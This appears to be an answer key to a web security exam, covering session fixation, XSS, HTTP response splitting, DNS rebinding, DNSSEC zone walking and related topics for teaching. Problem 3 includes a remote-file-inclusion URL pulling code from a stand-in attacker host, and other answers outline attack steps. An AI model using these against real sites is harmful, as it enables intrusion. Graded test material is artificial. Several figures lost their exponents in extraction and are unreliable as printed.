
Problem 1.

Answer
In a phishing attack, the adversary often tries to forge the sender of the email, sending
a message that appears to originate from the forged sender. DMARC allows the sender
to check that the from-header matches the MAIL FROM command argument and the
domain of the sending SMTP server. It also checks that the sending SMTP server is
allowed to send emails from the domain in the MAIL FROM command (using SPF).
DKIM is used to verify that the claimed sender actually intended to send this message by
including a signature. In spam, the message is typically more important than the sender.
Thus, the spammer can use a sender and sending domain that does not implement any
SPF or DKIM protection. (3 points)

Problem 2.

Answer
This is a typical setup for a session fixation attack. The attacker visits the web page and
retrieves a sessionID. A URL including the session ID is sent to the victim, who visits the
URL. This will set the session ID for the victim’s session to the ID known by the attacker.
When the victim logs in, the attacker can use the known session ID to be logged in as
the victim. (Note that session.use trans sid=1 is not really required for the attack
to work. The server will accept session IDs in the URL even though it does not actively
rewrite URLs. This may not be very useful in practice though, even if the attack still
works.) (3 points)

Problem 3.

Answer
A PHP-enabled server may allow remote file inclusion by configuration, using the direc-
tives allow url fopen and allow url include. This may allow an attacker to spec-
ify a custom PHP file on his or her own server by passing a URL parameter as in
index.php?page=http://www.attacker.com/code. (3 points)

Problem 4.

Answer
When a script attempts to make a cross-origin request, the user-agent includes the origin
header, specifying which origin is making the request. The requested server sees the header
and can determine that the call is a cross-origin call and which origin it comes from. If
the server accepts sharing data with this origin, the resource is returned together with the
Access-Control-Allow-Origin headers header. This header explicitly tells the user-agent
that the server accepts sharing its resources with the origin of the script/webpage. Thus,
the server can forward the received data to the script. (3 points)

Problem 5.

Answer
NSEC records confirm edges between different names after ordering all names alphabet-
ically. An NSEC record is returned when the sought for domain does not exist. For



example, requesting b.se may return an NSEC record specifying that a.se and c.se

exist, but nothing in between (a.se < b.se < c.se). Requesting ca.se may then return
an NSEC record saying that c.se and d.se exist, but nothing in between. Requesting
da.se. . . (3 points)

Problem 6.

Answer
U1BBTQ== (3 points)

Problem 7.

Answer
1. Mallory sends two requests, the first one uses the CRLF technique to encode two
requests into one. The second part of the first request contains Mallory’s phishing page.
The second request is for http://www.bank.com.
2. Proxy relays both requests to the server (assuming that proxy has not cached these
pages).
3. Two responses are sent from the server, but the proxy interprets these as three re-
sponses. The first two (of three) are cached and the third is thrown away. Mallory’s
phishing page is mapped to the request for http://www.bank.com.
4. The two first responses are forwarded to Mallory.
5. Alice requests http://www.bank.com.
6. Proxy delivers Mallory’s cached page.
For the attack to be successful, the proxy needs to cache Mallory phishing page at step 3, so
the proxy cache must not contain an entry mapped to http://www.bank.com. (3 points)

Problem 8.

Answer
XML, eXtensible Markup Language, designed to carry data.
HTML, Hyper Text Markup Language, designed to display web content.
CSS, Cascading Style Sheets, defines how to display HTML elements.
JavaScript, lightweight client-side programming language, interpreted by browser.
PHP, server-side programming language interpreted by server (output is HTML).
AJAX, Asynchronous JavaScript and XML, technique for exchanging data with server
and updating parts of web page without reloading. (3 points)

Problem 9.

Answer
There are several possibilities, here is one:

0[1-9]{1,3}-?([0-9] ?){5,7}

(3 points)

Problem 10.



Answer
a) A persistent XSS attack means that the injected script is stored on the server. It can
be sent to the server using e.g., blog comments or forums. Any user that visits the web
page that includes the stored script will execute the script. In a non-persistent attack
the script is not stored on the server, but is instead returned directly to the user who
(unknowingly) submits it himself. It can be submitted to the user using e.g., a link in an
email which the user visits and submits the script.
b) The script that is run by the victim can read the cookie in the document and send this
to an attacker. The same-origin policy allows data to be sent to other origins so it does
not violate the policy. (1+2 points)

Problem 11.

Answer
0. Trick a company employee to click a link to http://www.attacker.com

1. DNS request for www.attacker.com returns 1.1.1.1 with TTL=0.
2. Page is retrieved from www.attacker.com. Page contains a script that makes a second
request (JavaScript XHR) to http://www.attacker.com/wiki.
3. Browser makes new DNS request for www.attacker.com (since TTL was 0) and DNS
returns 2.2.2.2 this time.
4. Request for http://www.attacker.com/wiki is made to 2.2.2.2 (with host header
Host: www.attacker.com ignored).
5. Retrieved page is relayed to www.attacker.com.
For the attack to be successful, the browser simply needs to follow the specifications.
DNS pinning can usually be circumvented if attacker uses his own FW to temporarily
disable his site (after step 2, before step 3). The same-origin policy is violated because
the browser is led to believe that 2.2.2.2 is the new IP-address of www.attacker.com, the
IP-address has been rebound. (5 points)

Problem 12.

Answer
a) The search space is the 26 usernames, the 26 realms and the 250 passwords. The
method, URI and the nonce are fixed. Using Hellman tables, a chain is constructed by
first taking a random point from the search space, and then hash it using (??). This value
is then mapped to a new point in the search space. The procedure is repeated until the
chain is of desired length. (In this case this would be

√
T = 225 steps, but that is not a

required part of the answer.)
b) Since the search space is 262, this is also the precomputation time.
c) The online time can immediately be computed from the tradeoff curve with N = 262,
so T = 250.
d) The online time is same as the number of passwords covered by the tables. In a brute
force attack, the realm and the username are already known since they are written in the
request. Thus, a brute force attack would require about the same amount of time as the
TMTO attack. (It is very stupid to build the tables like this.) (2+1+1+1 points)

Problem 13.

Answer



a) The tonallan.com part is the name that the MTA identified itself as. The receiving
MTA got a connection from the IP 178.223.104.216 and by using a reverse DNS lookup,
the name given to that host was 178-223-104-216.dynamic.isp.telekom.rs. mx.google.com
is the MTA that received the email and this MTA gave the email the id go13... The date
is when mx.google.com received the email.
b) The bits field determines how difficult it will be to construct a valid string. It is the
number of zeros that the hash of the string should start with. The counter is incremented
each time a non-valid hash is found.
c) The expected number of hash invocations is 2bits. (2+2+1 points)

Problem 14.

Answer

a) A technique used to avoid SQL-injection.

b) A collision problem that implies hash function security issues.

c) A technique used to enhance DoS attacks, which exploits the fact that DNS re-
sponses are larger than the requests.

d) Cross-Site Request Forgery, a web based attack where the victim acts on behalf of
the adversary.

e) A statistical method for identifying spam by analyzing the content of the email.

(5 points)


